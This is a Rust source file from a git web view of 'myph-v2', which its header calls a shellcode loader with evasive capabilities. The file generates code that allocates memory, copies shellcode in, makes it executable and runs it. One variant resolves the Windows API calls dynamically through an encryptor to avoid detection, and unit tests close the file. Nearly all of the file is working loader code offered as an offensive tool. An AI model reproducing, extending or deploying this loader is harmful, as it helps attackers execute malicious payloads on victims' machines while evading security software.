myph-v2~ rust shellcode loader with evasive capabilities |
| git clone https://github.com/djnnvx/myph-v2.git |
| log | files | refs | archive | README |
syscall.rs (5667B)
1 pub fn syscall_import() -> String { 2 r#" 3 use std::ptr; 4 "# 5 .to_string() 6 } 7 8 pub fn syscall_const() -> String { 9 format!( 10 r#" 11 {} 12 13 #[link(name = "ntdll")] 14 extern "system" {{ 15 fn RtlCopyMemory( 16 destination: *mut std::ffi::c_void, 17 source: *const std::ffi::c_void, 18 length: usize, 19 ); 20 }} 21 "#, 22 super::common::COMMON_MEMORY_CONSTANTS 23 ) 24 } 25 26 pub fn syscall_init() -> String { 27 String::new() 28 } 29 30 pub fn syscall_process() -> String { 31 r#" 32 unsafe { 33 let addr = VirtualAlloc( 34 ptr::null_mut(), 35 shellcode.len(), 36 MEM_COMMIT | MEM_RESERVE, 37 PAGE_READWRITE, 38 ); 39 40 if addr.is_null() { 41 panic!("failed"); 42 } 43 44 RtlCopyMemory( 45 addr, 46 shellcode.as_ptr() as *const std::ffi::c_void, 47 shellcode.len(), 48 ); 49 50 let mut old_protect: u32 = PAGE_READWRITE; 51 let result = VirtualProtect(addr as *mut std::ffi::c_void, shellcode.len(), PAGE_EXECUTE_READ, &mut old_protect); 52 53 if result == 0 { 54 panic!("failed"); 55 } 56 57 let shellcode_fn: extern "C" fn() = std::mem::transmute(addr); 58 shellcode_fn(); 59 } 60 "# 61 .to_string() 62 } 63 64 fn generate_syscall_template(function_name: &str) -> String { 65 super::common::TechniqueTemplateBuilder::new() 66 .with_import(syscall_import()) 67 .with_const(syscall_const()) 68 .with_init(syscall_init()) 69 .with_process(syscall_process()) 70 .build(function_name) 71 } 72 73 pub fn generate_syscall_code(function_name: &str) -> String { 74 generate_syscall_template(function_name) 75 } 76 77 fn syscall_process_with_dynamic_resolver( 78 encryptor: &dyn crate::encryption::Encryptor, 79 ) -> Result<String, String> { 80 use super::dynamic_common::*; 81 82 let virtual_alloc = virtual_alloc_resolver(encryptor)?; 83 let rtl_copy_memory = rtl_copy_memory_resolver(encryptor)?; 84 let virtual_protect = virtual_protect_resolver(encryptor)?; 85 86 Ok(format!( 87 r#" 88 unsafe {{ 89 {virtual_alloc_resolver} 90 {virtual_alloc_cast} 91 92 let addr = virtual_alloc( 93 ptr::null(), 94 shellcode.len(), 95 MEM_COMMIT | MEM_RESERVE, 96 PAGE_READWRITE, 97 ); 98 99 if addr.is_null() {{ 100 panic!("failed"); 101 }} 102 103 {rtl_copy_memory_resolver} 104 {rtl_copy_memory_cast} 105 106 rtl_copy_memory( 107 addr, 108 shellcode.as_ptr() as *const std::ffi::c_void, 109 shellcode.len(), 110 ); 111 112 {virtual_protect_resolver} 113 {virtual_protect_cast} 114 115 let mut old_protect: u32 = PAGE_READWRITE; 116 let result = virtual_protect(addr, shellcode.len(), PAGE_EXECUTE_READ, &mut old_protect); 117 118 if result == 0 {{ 119 panic!("failed"); 120 }} 121 122 let shellcode_fn: extern "C" fn() = std::mem::transmute(addr); 123 shellcode_fn(); 124 }} 125 "#, 126 virtual_alloc_resolver = virtual_alloc.resolver_code, 127 virtual_alloc_cast = virtual_alloc.cast_code, 128 rtl_copy_memory_resolver = rtl_copy_memory.resolver_code, 129 rtl_copy_memory_cast = rtl_copy_memory.cast_code, 130 virtual_protect_resolver = virtual_protect.resolver_code, 131 virtual_protect_cast = virtual_protect.cast_code, 132 )) 133 } 134 135 fn generate_syscall_template_with_dynamic_resolver( 136 function_name: &str, 137 _encryption_type: &str, 138 encryptor: &dyn crate::encryption::Encryptor, 139 ) -> Result<String, String> { 140 let process_code = syscall_process_with_dynamic_resolver(encryptor)?; 141 142 Ok(super::common::TechniqueTemplateBuilder::new() 143 .with_import(syscall_import()) 144 .with_const(syscall_const()) 145 .with_init(syscall_init()) 146 .with_process(process_code) 147 .build(function_name)) 148 } 149 150 pub fn generate_syscall_code_with_dynamic_resolver( 151 function_name: &str, 152 encryption_type: &str, 153 encryptor: &dyn crate::encryption::Encryptor, 154 ) -> String { 155 generate_syscall_template_with_dynamic_resolver(function_name, encryption_type, encryptor) 156 .unwrap_or_else(|err| { 157 panic!( 158 "Failed to generate Syscall code with dynamic resolver (encryption: {}): {}", 159 encryption_type, err 160 ) 161 }) 162 } 163 164 pub struct SyscallGenerator; 165 166 impl super::trait_generator::TechniqueGenerator for SyscallGenerator { 167 fn generate_code(&self, _process: &str, function_name: &str) -> String { 168 generate_syscall_code(function_name) 169 } 170 171 fn generate_code_with_dynamic_resolver( 172 &self, 173 _process: &str, 174 function_name: &str, 175 encryption_type: &str, 176 encryptor: &dyn crate::encryption::Encryptor, 177 ) -> String { 178 generate_syscall_code_with_dynamic_resolver(function_name, encryption_type, encryptor) 179 } 180 181 fn requires_process(&self) -> bool { 182 false 183 } 184 185 fn name(&self) -> &'static str { 186 "Syscall" 187 } 188 } 189 190 #[cfg(test)] 191 mod tests { 192 use super::*; 193 194 #[test] 195 fn test_generate_syscall_template_contains_all_parts() { 196 let template = generate_syscall_template("MyFunction"); 197 assert!(template.contains("use std::ptr")); 198 assert!(template.contains("MEM_COMMIT")); 199 assert!(template.contains("RtlCopyMemory")); 200 assert!(template.contains("fn MyFunction")); 201 assert!(template.contains("VirtualAlloc")); 202 } 203 204 #[test] 205 fn test_generate_syscall_code() { 206 let code = generate_syscall_code("MyRandomFunc"); 207 assert!(code.contains("fn MyRandomFunc")); 208 assert!(code.contains("VirtualProtect")); 209 assert!(code.contains("transmute")); 210 } 211 }